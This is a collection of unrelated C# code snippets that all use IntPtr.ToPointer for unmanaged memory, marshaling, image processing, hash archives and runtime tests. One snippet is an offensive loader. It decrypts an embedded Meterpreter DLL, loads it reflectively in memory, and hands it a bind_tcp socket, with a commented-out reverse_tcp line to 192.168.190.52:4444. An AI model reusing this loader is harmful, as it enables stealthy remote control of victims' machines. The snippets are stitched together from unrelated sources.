public unsafe UmsManager(FileAccess access, byte[] seedData) { int memorySizeInBytes = seedData.Length; _memory = Marshal.AllocHGlobal(memorySizeInBytes); byte* destination = (byte*)_memory.ToPointer(); fixed (byte* source = seedData) { Buffer.MemoryCopy(source, destination, memorySizeInBytes, memorySizeInBytes); } _stream = new UnmanagedMemoryStream(destination, memorySizeInBytes, memorySizeInBytes, access); }
public static void CopyUnmanagedMemory(IntPtr src, int srcOffset, IntPtr dst, int dstOffset, int count) { unsafe { var srcPtr = (byte*) src.ToPointer(); srcPtr += srcOffset; var dstPtr = (byte*) dst.ToPointer(); dstPtr += dstOffset; memcpy(dstPtr, srcPtr, count); } }
public unsafe UmsManager(FileAccess access, int capacity) { int memorySizeInBytes = capacity; _memory = Marshal.AllocHGlobal(memorySizeInBytes); byte* bytes = (byte*)_memory.ToPointer(); byte* currentByte = bytes; for (int index = 0; index < memorySizeInBytes; index++) { *currentByte = 0; currentByte++; } _stream = new UnmanagedMemoryStream(bytes, memorySizeInBytes, memorySizeInBytes, access); }
public unsafe UmsManager(FileAccess access, byte[] seedData) { _memorySizeInBytes = seedData.Length; unsafe { _memory = Marshal.AllocHGlobal(_memorySizeInBytes); byte* bytes = (byte*)_memory.ToPointer(); byte* currentByte = bytes; for (int index = 0; index < _memorySizeInBytes; index++) { *currentByte = seedData[index]; } _stream = new UnmanagedMemoryStream(bytes, _memorySizeInBytes, _memorySizeInBytes, access); } }
unsafe public bool PosTest1(string id, long anyValue) { bool retVal = true; try { System.IntPtr ip = new IntPtr((void *)anyValue); if (ip.ToPointer() != (void*)anyValue) { TestLibrary.TestFramework.LogError(id, String.Format("expect IntPtr value is {0}", anyValue)); retVal = false; } } catch (Exception e) { TestLibrary.TestFramework.LogError(id, "Unexpected exception: " + e); retVal = false; } return retVal; }
/// <summary> /// Initializes a new instance of the <see cref="MemoryArray<T>"/> class. /// </summary> /// <param name="baseAddress">Address of the memory block.</param> /// <param name="length">Length of the array.</param> /// <exception cref="ArgumentNullException"> /// <paramref name="baseAddress"/> is null.</exception> /// <exception cref="ArgumentOutOfRangeException"> /// <paramref name="length"/> is less or equal zero.</exception> /// <exception cref="NotSupportedException"> /// The type is not supported.</exception> public MemoryArray(IntPtr baseAddress, int length) : this(baseAddress.ToPointer(), length) { }
static void Main() { //byte[] dataBuff = null; //dataBuff = StageLoader.LoadBinData("192.168.190.52", 4444); //StageLoader.ExecuteBin(dataBuff); //load dll and m // load metsrv.x86.dll, call Init(socketFD) //string dll = @"C:\code\Repos\meterpreter\workspace\metsrv\Debug\Win32\metsrv.x86.dll"; ////Load //IntPtr Handle = StageLoader.LoadLibrary(dll); //if (Handle == IntPtr.Zero) //{ // int errorCode = Marshal.GetLastWin32Error(); // throw new Exception(string.Format("Failed to load library (ErrorCode: {0})", errorCode)); //} try { byte[] oldData = MpCsLoader.Properties.Resources.mpenc; byte[] dllData = Shared.Encryptor.DecryptData("intelnuc", oldData); IntPtr mod = MemoryLibrary.MemoryLoadLibrary(dllData, new string[] { }); unsafe { IntPtr init = MemoryLibrary.MemoryGetProcAddress((MemoryLibrary.MEMORYMODULE *)mod.ToPointer(), "Init"); MpInit func = (MpInit)Marshal.GetDelegateForFunctionPointer(init, typeof(MpInit)); // bind_tcp int sockfd = StageLoader.LoadBinData(null, 874); // reverse_tcp //int sockfd = StageLoader.LoadBinData("192.168.190.52", 4444); func(sockfd); } }//hehe catch (Exception x) { Console.WriteLine(x.ToString()); } //StageLoader.Init(sockfd); //Free //if (Handle != IntPtr.Zero) // StageLoader.FreeLibrary(Handle); }
internal static string FromUtf8(IntPtr ptr) { int length = 0; unsafe { byte* p = (byte*) ptr.ToPointer(); while (*p++ != 0) length++; } return FromUtf8(ptr, length); }
/// <summary> /// Fill memory region with specified value. /// </summary> /// /// <param name="dst">Destination pointer.</param> /// <param name="filler">Filler byte's value.</param> /// <param name="count">Memory block's length to fill.</param> /// /// <returns>Return's value of <paramref name="dst"/> - pointer to destination.</returns> /// public static IntPtr SetUnmanagedMemory(IntPtr dst, int filler, int count) { unsafe { SetUnmanagedMemory((byte*)dst.ToPointer(), filler, count); } return dst; }
/// <summary> /// 直方圖等化 /// </summary> /// <param name="Source">來源圖片</param> /// <returns>結果圖片</returns> static public Bitmap Histogramequalization(Bitmap Source) { int Width = Source.Width, Height = Source.Height; int WMH = Width * Height; BitmapData SourceData = Source.LockBits(new Rectangle(0, 0, Width, Height), ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); IntPtr SourceScan = SourceData.Scan0; Bitmap Result = new Bitmap(Width, Height); BitmapData ResultData = Result.LockBits(new Rectangle(0, 0, Width, Height), ImageLockMode.WriteOnly, PixelFormat.Format32bppArgb); IntPtr ResultScan = ResultData.Scan0; int X, Y, T; int[,] Frequency = new int[3, 256]; for (Y = 0; Y < 3; ++Y) { for (X = 0; X < 256; ++X) { Frequency[Y, X] = 0; } } byte *SourcePointer = (byte *)SourceScan.ToPointer(); for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { for (T = 0; T < 3; ++T) { Frequency[T, SourcePointer[0]]++; ++SourcePointer; } ++SourcePointer; } } for (X = 1; X < 256; ++X) { for (T = 0; T < 3; ++T) { Frequency[T, X] += Frequency[T, X - 1]; } } SourcePointer = (byte *)SourceScan.ToPointer(); byte *ResultPointer = (byte *)ResultScan.ToPointer(); for (Y = 0; Y < Height; ++Y) { for (X = 0; X < Width; ++X) { for (T = 0; T < 3; ++T) { ResultPointer[0] = DoubleToByte(Frequency[T, SourcePointer[0]] * 255.0 / WMH); ++ResultPointer; ++SourcePointer; } ResultPointer[0] = 255; ++ResultPointer; ++SourcePointer; } } Source.UnlockBits(SourceData); Result.UnlockBits(ResultData); return(Result); }
internal unsafe void ConvertToManaged(object pManagedHome, IntPtr pNativeHome) { switch (backPropAction) { case BackPropAction.Array: { MngdNativeArrayMarshaler.ConvertContentsToManaged( pvArrayMarshaler, ref pManagedHome, new IntPtr(&pNativeHome)); break; } case BackPropAction.Layout: { StubHelpers.FmtClassUpdateCLRInternal(pManagedHome, (byte *)pNativeHome.ToPointer()); break; } case BackPropAction.StringBuilderAnsi: { sbyte* ptr = (sbyte*)pNativeHome.ToPointer(); ((StringBuilder)pManagedHome).ReplaceBufferAnsiInternal(ptr, Win32Native.lstrlenA(pNativeHome)); break; } case BackPropAction.StringBuilderUnicode: { char* ptr = (char*)pNativeHome.ToPointer(); ((StringBuilder)pManagedHome).ReplaceBufferInternal(ptr, Win32Native.lstrlenW(pNativeHome)); break; } // nothing to do for BackPropAction.None } }
[System.Security.SecurityCritical] // auto-generated static internal unsafe string ConvertToManaged(IntPtr bstr) { if (IntPtr.Zero == bstr) { return null; } else { uint length = Win32Native.SysStringByteLen(bstr); // Intentionally checking the number of bytes not characters to match the behavior // of ML marshalers. This prevents roundtripping of very large strings as the check // in the managed->native direction is done on String length but considering that // it's completely moot on 32-bit and not expected to be important on 64-bit either, // the ability to catch random garbage in the BSTR's length field outweighs this // restriction. If an ordinary null-terminated string is passed instead of a BSTR, // chances are that the length field - possibly being unallocated memory - contains // a heap fill pattern that will have the highest bit set, caught by the check. StubHelpers.CheckStringLength(length); string ret = new String((char*)bstr, 0, (int)(length / 2)); if ((length & 1) == 1) { // odd-sized strings need to have the trailing byte saved in their [....] block ret.SetTrailByte(((byte *)bstr.ToPointer())[length - 1]); } return ret; } }
[System.Security.SecurityCritical] // auto-generated static internal unsafe IntPtr ConvertToNative(string strManaged, IntPtr pNativeBuffer) { if (null == strManaged) { return IntPtr.Zero; } else { StubHelpers.CheckStringLength(strManaged.Length); byte trailByte; bool hasTrailByte = strManaged.TryGetTrailByte(out trailByte); uint lengthInBytes = (uint)strManaged.Length * 2; if (hasTrailByte) { // this is an odd-sized string with a trailing byte stored in its [....] block lengthInBytes++; } byte *ptrToFirstChar; if (pNativeBuffer != IntPtr.Zero) { // If caller provided a buffer, construct the BSTR manually. The size // of the buffer must be at least (lengthInBytes + 6) bytes. #if _DEBUG uint length = *((uint *)pNativeBuffer.ToPointer()); BCLDebug.Assert(length >= lengthInBytes + 6, "BSTR localloc'ed buffer is too small"); #endif // _DEBUG // set length *((uint *)pNativeBuffer.ToPointer()) = lengthInBytes; ptrToFirstChar = (byte *)pNativeBuffer.ToPointer() + 4; } else { // If not provided, allocate the buffer using SysAllocStringByteLen so // that odd-sized strings will be handled as well. ptrToFirstChar = (byte *)Win32Native.SysAllocStringByteLen(null, lengthInBytes).ToPointer(); } // copy characters from the managed string fixed (char* ch = strManaged) { Buffer.memcpyimpl( (byte *)ch, ptrToFirstChar, (strManaged.Length + 1) * 2); } // copy the trail byte if present if (hasTrailByte) { ptrToFirstChar[lengthInBytes - 1] = trailByte; } // return ptr to first character return (IntPtr)ptrToFirstChar; } }
unsafe static void OnCallback(IntPtr handle, int status) { uv_req_t* uvRequest = (uv_req_t*)handle.ToPointer(); var request = GCHandle.FromIntPtr(uvRequest->data).Target as DisposeRequest; if (request == null) { Environment.FailFast("invalid callback"); } else { request._handle.Dispose(); request.Dispose(); } }
public Font AddFontFromMemoryTTF(IntPtr ttfData, int ttfDataSize, float pixelSize, IntPtr fontConfig) { NativeFont *nativeFontPtr = ImGuiNative.ImFontAtlas_AddFontFromMemoryTTF(_atlasPtr, ttfData.ToPointer(), ttfDataSize, pixelSize, fontConfig, null); return(new Font(nativeFontPtr)); }
/// <summary> /// Initializes a new raw memory stream. /// </summary> /// <param name="memory">A pointer to the memory of the stream.</param> /// <param name="size">The number of bytes of memory available.</param> internal unsafe RawMemoryStream(IntPtr memory, long size) { base.Initialize((byte *)memory.ToPointer(), size, size, FileAccess.ReadWrite); }
/// <summary> /// Returns the portable PDB reader for the assembly path /// </summary> /// <param name="assemblyPath">file path of the assembly or null</param> /// <param name="loadedPeAddress">loaded PE image address or zero</param> /// <param name="loadedPeSize">loaded PE image size</param> /// <param name="inMemoryPdbAddress">in memory PDB address or zero</param> /// <param name="inMemoryPdbSize">in memory PDB size</param> /// <param name="reader">returns the reader</param> /// <returns>reader</returns> private MetadataReader GetReader(string assemblyPath, IntPtr loadedPeAddress, int loadedPeSize, IntPtr inMemoryPdbAddress, int inMemoryPdbSize) { if (loadedPeAddress != IntPtr.Zero) { Tuple<MetadataReaderProvider, MetadataReader> tuple; if (_readerCache.TryGetValue(loadedPeAddress, out tuple)) { return tuple.Item2; } } MetadataReaderProvider provider = null; MetadataReader reader = null; if (assemblyPath != null) { uint stamp; int age; Guid guid; string pdbName = GetPdbPathFromPeStream(assemblyPath, loadedPeAddress, loadedPeSize, out age, out guid, out stamp); if (pdbName != null && File.Exists(pdbName)) { Stream pdbStream = File.OpenRead(pdbName); try { provider = MetadataReaderProvider.FromPortablePdbStream(pdbStream); MetadataReader rdr = provider.GetMetadataReader(); // Validate that the PDB matches the assembly version if (age == 1 && IdEquals(rdr.DebugMetadataHeader.Id, guid, stamp)) { reader = rdr; } } catch (BadImageFormatException) { } } } else if (inMemoryPdbAddress != IntPtr.Zero && inMemoryPdbSize > 0) { unsafe { try { provider = MetadataReaderProvider.FromPortablePdbImage((byte*)inMemoryPdbAddress.ToPointer(), inMemoryPdbSize); reader = provider.GetMetadataReader(); } catch (BadImageFormatException) { } } } if (reader != null) { if (loadedPeAddress != IntPtr.Zero) { _readerCache.Add(loadedPeAddress, Tuple.Create(provider, reader)); } } // if there wasn't a reader created, there was an error or no PDB match so dispose of the provider else if (provider != null) { provider.Dispose(); } return reader; }
public static void MulticastBufferSubDataNV(UInt32 gpuMask, UInt32 buffer, IntPtr offset, UInt32 size, IntPtr data) { unsafe { { Debug.Assert(Delegates.pglMulticastBufferSubDataNV != null, "pglMulticastBufferSubDataNV not implemented"); Delegates.pglMulticastBufferSubDataNV(gpuMask, buffer, offset, size, data.ToPointer()); LogCommand("glMulticastBufferSubDataNV", null, gpuMask, buffer, offset, size, data); } } DebugCheckErrors(null); }
/// <summary> /// This object cannot be instantiated outside of the static Create method /// </summary> unsafe protected MemoryPoolBlock(IntPtr dataArrayPtr) { DataArrayPtr = dataArrayPtr; DataFixedPtr = (byte *)dataArrayPtr.ToPointer(); }
unsafe static void OnCallback(IntPtr handle, int status) { uv_req_t* uvRequest = (uv_req_t*)handle.ToPointer(); var request = GCHandle.FromIntPtr(uvRequest->data).Target as CallbackRequest; if (request == null) { throw new Exception("invalid callback"); } else { request.Callback(status); request.Dispose(); } }
public static unsafe object Box(RuntimeTypeHandle type, IntPtr address) { return(RuntimeImports.RhBox(type.ToEETypePtr(), address.ToPointer())); }
/// <summary> /// erstellt einen neuen Hash-Eintrag (darf noch nicht vorhanden sein) /// </summary> /// <param name="code">Hash-Code, welcher eintragen werden soll</param> /// <param name="tiefe">entsprechende Zugtiefe</param> public void Add(ulong code, int tiefe) { #if multiHash var hash = hashes[code & hashesBits]; #endif hash.Add(code, (ushort)tiefe); if (hash.Count > dictionaryLimit) { #if Index0 Array.Resize(ref weitere, weitere.Length + 1); for (int i = weitere.Length - 1; i > 0; i--) weitere[i] = weitere[i - 1]; weitere[0] = hash; hash = new Dictionary<ulong, ushort>(); #endif #if Index16 if (archivAnzahl == 0) { #region # // --- Archiv das erste mal erstellen --- // --- Archiv vorbereiten --- #if multiHash archivAnzahl = hashes.Sum(x => x.Count); #else archivAnzahl = hash.Count; #endif archivDataPointer = Marshal.AllocHGlobal((IntPtr)((long)archivAnzahl * 8L)); if (archivDataPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((long)archivAnzahl * 8L) / 1048576L) + " MB)"); archivData = (ulong*)archivDataPointer.ToPointer(); uint[] zähler = new uint[1 << 16]; #if multiHash foreach (var h in hashes) { h.Select(x => zähler[x.Key & 0xffff]++).Count(); } #else hash.Select(x => zähler[x.Key & 0xffff]++).Count(); #endif uint[] posis = new uint[1 << 16]; uint pos = 0; for (int i = 1; i < (1 << 16); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Archiv befüllen --- #if multiHash foreach (var h in hashes) foreach (var satz in h) #else foreach (var satz in hash) #endif { int indexPos = (int)(satz.Key & 0xffff); archivData[posis[indexPos]++] = (satz.Key & 0xffffffffffff0000) | (ulong)satz.Value; } // --- Positionen neu berechnen --- posis[0] = pos = 0; for (int i = 1; i < (1 << 16); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Archiv sortieren (Multi-Threaded) --- ParallelEnumerable.Range(0, 1 << 16).Select(i => { Sort.Quick(&archivData[posis[i]], (int)zähler[i]); return i; }).Count(); // --- 16 Bit-Index erstellen --- uint[] indexTemp = Enumerable.Range(0, (1 << 16) * 2).Select(i => (i & 1) == 0 ? zähler[i >> 1] : posis[i >> 1]).ToArray(); for (int i = 0; i < indexTemp.Length; i++) archivIndex[i] = indexTemp[i]; #endregion } else { #region # // --- Archiv erweitern --- // --- Neue Daten vorbereiten --- int dazuAnzahl = hash.Count; ulong[] dazuData = new ulong[dazuAnzahl]; uint[] zähler = new uint[1 << 16]; hash.Select(x => zähler[x.Key & 0xffff]++).Count(); uint[] posis = new uint[1 << 16]; uint pos = 0; for (int i = 1; i < (1 << 16); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Neue Daten befüllen --- foreach (var satz in hash) { int indexPos = (int)(satz.Key & 0xffff); dazuData[posis[indexPos]++] = (satz.Key & 0xffffffffffff0000) | (ulong)satz.Value; } // --- Positionen neu berechnen --- posis[0] = pos = 0; for (int i = 1; i < (1 << 16); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Neue Daten sortieren (Multi-Threaded) --- ParallelEnumerable.Range(0, (1 << 16)).Select(i => { Array.Sort(dazuData, (int)posis[i], (int)zähler[i]); return i; }).Count(); // --- Neues Array erstellen --- ulong* altData = archivData; IntPtr altPointer = archivDataPointer; archivDataPointer = Marshal.AllocHGlobal((IntPtr)((long)(archivAnzahl + dazuAnzahl) * 8L)); if (archivDataPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((long)(archivAnzahl + dazuAnzahl) * 8L) / 1048576L) + " MB)"); archivData = (ulong*)archivDataPointer.ToPointer(); // --- alte Archiv-Daten kopieren und zusammen mit den neuen Daten verschmelzen --- pos = 0; for (int index = 0; index < (1 << 16); index++) { uint posAlt = archivIndex[(index << 1) + 1]; uint countAlt = archivIndex[index << 1]; uint posNeu = posis[index]; uint countNeu = zähler[index]; uint dazu = 0; while (countAlt > 0 && countNeu > 0) // beide Tabellen verzahnen und ins neue Archiv speichern { if (altData[posAlt] < dazuData[posNeu]) { archivData[pos] = altData[posAlt++]; countAlt--; } else { archivData[pos] = dazuData[posNeu++]; countNeu--; } pos++; dazu++; } while (countAlt > 0) // Reste der alten Tabelle übertragen { archivData[pos++] = altData[posAlt++]; dazu++; countAlt--; } while (countNeu > 0) // Reste der neuen Tabelle übertragen { archivData[pos++] = dazuData[posNeu++]; dazu++; countNeu--; } // Index anpassen archivIndex[index << 1] = dazu; archivIndex[(index << 1) + 1] = pos - dazu; } archivAnzahl = pos; Marshal.FreeHGlobal(altPointer); dazuData = null; #endregion } #endif #if Index24 if (archivAnzahl == 0) { #region # // --- Archiv das erste mal erstellen --- // --- Archiv vorbereiten --- #if multiHash archivAnzahl = hashes.Sum(x => (long)x.Count); #else archivAnzahl = hash.Count; #endif archivDataPointer = Marshal.AllocHGlobal((IntPtr)((long)archivAnzahl * 7L + 1L)); if (archivDataPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((long)archivAnzahl * 7L + 1L) / 1048576L) + " MB)"); archivData = (long)archivDataPointer.ToPointer(); #if DEBUG byte* zerofill = (byte*)archivData; for (int i = 0; i < archivAnzahl * 7 + 1; i++) zerofill[i] = 0x00; #endif uint[] zähler = new uint[1 << 24]; #if multiHash foreach (var h in hashes) { h.Select(x => zähler[x.Key & 0xffffff]++).Count(); } #else hash.Select(x => zähler[x.Key & 0xffffff]++).Count(); #endif uint[] posis = new uint[1 << 24]; uint pos = 0; for (int i = 1; i < (1 << 24); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Archiv befüllen --- #if multiHash foreach (var h in hashes) foreach (var satz in h) #else foreach (var satz in hash) #endif { int indexPos = (int)(satz.Key & 0xffffff); ulong* p = (ulong*)(archivData + (long)(posis[indexPos]++) * 7L); *p = (*p & 0xff00000000000000) | ((satz.Key >> 8) & 0x00ffffffffff0000) | (ulong)satz.Value; } // --- Positionen neu berechnen --- posis[0] = pos = 0; for (int i = 1; i < (1 << 24); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Archiv sortieren (Multi-Threaded) --- ParallelEnumerable.Range(0, 1 << 24).Select(i => { ulong[] tmp = new ulong[zähler[i]]; long offset = (long)posis[i] * 7L + archivData; for (int x = 0; x < tmp.Length; x++) { tmp[x] = *(ulong*)(offset + (long)(x * 7)) & 0x00ffffffffffffff; } Sort.Quick(tmp); for (int x = 0; x < tmp.Length; x++) { ulong w = *(ulong*)(offset + (long)(x * 7)) & 0xff00000000000000; *(ulong*)(offset + (long)(x * 7)) = w | tmp[x]; } return i; }).Count(); // --- 24 Bit-Index erstellen --- uint[] indexTemp = Enumerable.Range(0, (1 << 24) * 2).Select(i => (i & 1) == 0 ? zähler[i >> 1] : posis[i >> 1]).ToArray(); for (int i = 0; i < indexTemp.Length; i++) archivIndex[i] = indexTemp[i]; #endregion } else { #region # // --- Archiv erweitern --- // --- Neue Daten vorbereiten --- int dazuAnzahl = hash.Count; ulong[] dazuData = new ulong[dazuAnzahl]; uint[] zähler = new uint[1 << 24]; hash.Select(x => zähler[x.Key & 0xffffff]++).Count(); uint[] posis = new uint[1 << 24]; uint pos = 0; for (int i = 1; i < (1 << 24); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Neue Daten befüllen --- foreach (var satz in hash) { int indexPos = (int)(satz.Key & 0xffffff); dazuData[posis[indexPos]++] = ((satz.Key >> 8) & 0x00ffffffffff0000) | (ulong)satz.Value; } // --- Positionen neu berechnen --- posis[0] = pos = 0; for (int i = 1; i < (1 << 24); i++) { pos += zähler[i - 1]; posis[i] = pos; } // --- Neue Daten sortieren (Multi-Threaded) --- ParallelEnumerable.Range(0, (1 << 24)).Select(i => { Array.Sort(dazuData, (int)posis[i], (int)zähler[i]); return i; }).Count(); // --- Neues Array erstellen --- long altData = archivData; IntPtr altPointer = archivDataPointer; archivDataPointer = Marshal.AllocHGlobal((IntPtr)((long)(archivAnzahl + dazuAnzahl) * 7L + 1L)); if (archivDataPointer == IntPtr.Zero) throw new Exception("Speicher konnte nicht reserviert werden (" + (((long)(archivAnzahl + dazuAnzahl) * 7L + 1L) / 1048576L) + " MB)"); archivData = (long)archivDataPointer.ToPointer(); // --- alte Archiv-Daten kopieren und zusammen mit den neuen Daten verschmelzen --- pos = 0; for (int index = 0; index < (1 << 24); index++) { uint posAlt = archivIndex[(index << 1) + 1]; uint countAlt = archivIndex[index << 1]; uint posNeu = posis[index]; uint countNeu = zähler[index]; uint dazu = 0; while (countAlt > 0 && countNeu > 0) // beide Tabellen verzahnen und ins neue Archiv speichern { if (((*(ulong*)(altData + (long)posAlt * 7L)) & 0x00ffffffffffffff) < dazuData[posNeu]) { *(ulong*)(archivData + (long)pos * 7L) = ((*(ulong*)(archivData + (long)pos * 7L)) & 0xff00000000000000) | ((*(ulong*)(altData + (long)posAlt * 7L)) & 0x00ffffffffffffff); posAlt++; countAlt--; } else { *(ulong*)(archivData + (long)pos * 7L) = ((*(ulong*)(archivData + (long)pos * 7L)) & 0xff00000000000000) | dazuData[posNeu++]; countNeu--; } pos++; dazu++; } while (countAlt > 0) // Reste der alten Tabelle übertragen { *(ulong*)(archivData + (long)pos * 7L) = ((*(ulong*)(archivData + (long)pos * 7L)) & 0xff00000000000000) | ((*(ulong*)(altData + (long)posAlt * 7L)) & 0x00ffffffffffffff); pos++; posAlt++; dazu++; countAlt--; } while (countNeu > 0) // Reste der neuen Tabelle übertragen { *(ulong*)(archivData + (long)pos * 7L) = ((*(ulong*)(archivData + (long)pos * 7L)) & 0xff00000000000000) | dazuData[posNeu++]; pos++; dazu++; countNeu--; } // Index anpassen archivIndex[index << 1] = dazu; archivIndex[(index << 1) + 1] = pos - dazu; } archivAnzahl = pos; Marshal.FreeHGlobal(altPointer); dazuData = null; #endregion } #endif #if (Index16 || Index24) #if multiHash for (int i = 0; i < hashes.Length; i++) { hashes[i] = null; // Hash aufräumen } hashes = new[] { new Dictionary<ulong, ushort>() }; hashesBits = 0; #else hash = new Dictionary<ulong, ushort>(); // Hash aufräumen #endif GC.Collect(); #endif } }
public unsafe static bool CreateGenericInstanceDescForType(RuntimeTypeHandle typeHandle, int arity, int nonGcStaticDataSize, int nonGCStaticDataOffset, int gcStaticDataSize, int threadStaticsOffset, IntPtr gcStaticsDesc, IntPtr threadStaticsDesc, int[] genericVarianceFlags) { EETypePtr eeType = CreateEETypePtr(typeHandle); fixed(int *pGenericVarianceFlags = genericVarianceFlags) { return(RuntimeImports.RhCreateGenericInstanceDescForType2(eeType, arity, nonGcStaticDataSize, nonGCStaticDataOffset, gcStaticDataSize, threadStaticsOffset, gcStaticsDesc.ToPointer(), threadStaticsDesc.ToPointer(), pGenericVarianceFlags)); } }
public unsafe virtual bool runTest() { Console.Error.WriteLine(s_strTFPath + " " + s_strTFName + " , for " + s_strClassMethod + " , Source ver " + s_strDtTmVer); int iCountErrors = 0; int iCountTestcases = 0; String strLoc = "Loc_000oo"; IntPtr ip1; void* vd1; void* vd2; int* iptr1; Int32 iValue; Int64 lValue; Boolean fValue; Char chValue; Byte btValue; SByte sbValue; Int16 sValue; UInt16 usValue; UInt32 uiValue; UInt64 ulValue; DateTime dt1; String strValue; Int32[] iArr = {1, 2, 3, 4, 5}; MyEnum en1; String strReturned; try { strLoc = "Loc_743wg"; iValue = 16; vd1 = &iValue; ip1 = new IntPtr(vd1); vd2 = ip1.ToPointer(); iCountTestcases++; if((*((int*)vd2)) != iValue){ iCountErrors++; Console.WriteLine("Err_2975sf! Wrong value returned, " + (*((int*)vd2))); } strLoc = "Loc_0084wf"; lValue = 16; vd1 = &lValue; ip1 = new IntPtr(vd1); vd2 = ip1.ToPointer(); iCountTestcases++; if((*((long*)vd2)) != lValue){ iCountErrors++; Console.WriteLine("Err_974325sdg! Wrong value returned"); } strLoc = "Loc_0084wf"; lValue = 16; vd1 = &lValue; ip1 = new IntPtr(vd1); iptr1 = (int*)ip1.ToPointer(); iCountTestcases++; if((*iptr1) != lValue){ iCountErrors++; Console.WriteLine("Err_974325sdg! Wrong value returned! check the endiannees of this machine!!!, " + (*iptr1)); } strLoc = "Loc_00845wsdg"; lValue = Int64.MaxValue; vd1 = &lValue; ip1 = new IntPtr(vd1); vd2 = ip1.ToPointer(); iCountTestcases++; if((*((long*)vd2)) != lValue){ iCountErrors++; Console.WriteLine("Err_94753sdg! Wrong value returned"); } strLoc = "Loc_875esfg"; lValue = Int64.MaxValue; vd1 = &lValue; ip1 = new IntPtr(vd1); iptr1 = (int*)ip1.ToPointer(); iCountTestcases++; if((*iptr1) != -1){ iCountErrors++; Console.WriteLine("Err_756wrg! Wrong value returned! , " + (*iptr1)); } strLoc = "Loc_008742sf"; fValue = true; vd1 = &fValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((Boolean*)ip1.ToPointer())) != fValue){ iCountErrors++; Console.WriteLine("Err_984753sdg! Wrong value returned!"); } strLoc = "Loc_735sdg"; chValue = 'a'; vd1 = &chValue; ip1 = new IntPtr(vd1); iptr1 = (int*)ip1.ToPointer(); iCountTestcases++; if((*((char*)ip1.ToPointer())) != chValue){ iCountErrors++; Console.WriteLine("Err_9745sg! Wrong value returned!"); } strLoc = "Loc_735sdg"; btValue = 5; vd1 = &btValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((byte*)ip1.ToPointer())) != btValue){ iCountErrors++; Console.WriteLine("Err_7453rsg! Wrong value returned!"); } strLoc = "Loc_9743dg"; sbValue = -5; vd1 = &sbValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((SByte*)ip1.ToPointer())) != sbValue){ iCountErrors++; Console.WriteLine("Err_97345sg! Wrong value returned!"); } strLoc = "Loc_9743dg"; sValue = -5; vd1 = &sValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((Int16*)ip1.ToPointer())) != sValue){ iCountErrors++; Console.WriteLine("Err_9374dg! Wrong value returned!"); } strLoc = "Loc_9743dg"; usValue = 5; vd1 = &usValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((UInt16*)ip1.ToPointer())) != usValue){ iCountErrors++; Console.WriteLine("Err_9874sgd! Wrong value returned!"); } strLoc = "Loc_9743dg"; uiValue = 5; vd1 = &uiValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((UInt32*)ip1.ToPointer())) != uiValue){ iCountErrors++; Console.WriteLine("Err_3463sg! Wrong value returned!"); } strLoc = "Loc_9743dg"; ulValue = 5; vd1 = &ulValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((UInt64*)ip1.ToPointer())) != ulValue){ iCountErrors++; Console.WriteLine("Err_8274sdg! Wrong value returned!"); } strLoc = "Loc_0007432sf"; dt1 = DateTime.Now; vd1 = &dt1; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((DateTime*)ip1.ToPointer())) != dt1){ iCountErrors++; Console.WriteLine("Err_9734sdg! Wrong value returned!"); } strLoc = "Loc_20875sg"; strValue = "Hello World"; fixed(Char* chPValue = strValue){ vd1 = chPValue; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((Char*)ip1.ToPointer())) != 'H'){ iCountErrors++; Console.WriteLine("Err_874dsg! Wrong value returned!"); } iCountTestcases++; if((*((Char*)ip1.ToPointer() + 2)) != 'l'){ iCountErrors++; Console.WriteLine("Err_9347sdg! Wrong value returned!"); } (*((Char*)ip1.ToPointer() + 2)) = 'm'; iCountTestcases++; if((*((Char*)ip1.ToPointer() + 2)) != 'm'){ iCountErrors++; Console.WriteLine("Err_075wrg! Wrong value returned!"); } strReturned = "Hemlo World"; if(strReturned != strValue){ iCountErrors++; Console.WriteLine("Err_87453sg! We are playing with fire here!"); } } strLoc = "Loc_20875sg"; strValue = "Hello World"; fixed(int* iptr2 = iArr){ vd1 = iptr2; ip1 = new IntPtr(vd1); iCountTestcases++; if((*((int*)ip1.ToPointer())) != 1){ iCountErrors++; Console.WriteLine("Err_9376dg! Wrong value returned!"); } iCountTestcases++; if((*((int*)ip1.ToPointer() + 2)) != 3){ iCountErrors++; Console.WriteLine("Err_94735ds! Wrong value returned!"); } (*((int*)ip1.ToPointer() + 2)) = 25; iCountTestcases++; if((*((int*)ip1.ToPointer() + 2)) != 25){ iCountErrors++; Console.WriteLine("Err_753tsdg! Wrong value returned!"); } } strLoc = "Loc_907346sdg"; en1 = MyEnum.ONE; vd1 = &en1; ip1 = new IntPtr(vd1); vd2 = ip1.ToPointer(); iCountTestcases++; if((*((MyEnum*)vd2)) != en1){ iCountErrors++; Console.WriteLine("Err_9745sg! Wrong value returned, " + (*((MyEnum*)vd2))); } iCountTestcases++; } catch (Exception exc_general ) { ++iCountErrors; Console.WriteLine(s_strTFAbbrev +" Error Err_8888yyy! strLoc=="+ strLoc +", exc_general=="+exc_general); } if ( iCountErrors == 0 ) { Console.Error.WriteLine( "paSs. "+s_strTFPath +" "+s_strTFName+" ,iCountTestcases=="+iCountTestcases); return true; } else { Console.Error.WriteLine("FAiL! "+s_strTFPath+" "+s_strTFName+" ,iCountErrors=="+iCountErrors+" , BugNums?: "+s_strActiveBugNums ); return false; } }
